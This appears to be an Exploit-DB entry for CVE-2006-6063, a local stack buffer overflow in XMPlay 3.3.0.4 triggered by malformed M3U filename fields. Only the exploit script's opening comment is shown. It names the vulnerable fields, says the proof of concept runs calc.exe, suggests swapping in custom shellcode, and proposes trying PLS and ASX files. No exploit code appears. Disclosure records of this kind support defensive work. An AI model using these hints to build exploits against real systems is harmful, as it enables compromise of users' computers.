标题: XMPlay 3.3.0.4 - '.M3U' Filename Local Buffer Overflow EDB-ID: 2815 CVE: 2006-6063 类型: LOCAL 平台: WINDOWS 发布日期: 2006-11-20 漏洞利用脚本: /*
===================================================================
 0-day XMPlay 3.3.0.4 .M3U Filename Buffer Overflow Exploit
===================================================================
XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when
loading malformed M3U files (probably PLS and ASX files as well).

This merely executes CALC.exe but you could always add your own custom
shellcode (alpha2)

Either the DisplayName field of the M3U or the FileName field can be
used to exploit the system, but during my tests, using the DisplayName
field caused Windows DEP to activate.  (English Windows XP SP2)

Huge Greets and Thanks to Expanders (expanders[at]gmail[dot]com)
Who I presented the PoC and Discovery to, and he wrote the first PoC
Exploit for it.  And Jerome Athias for some neat tools.  Both of these
guys are very talented, keep up the good work.

Someone should try this with ASX and PLS files, i bet it works as well.
Reported Exploit Date: 11/20/2006
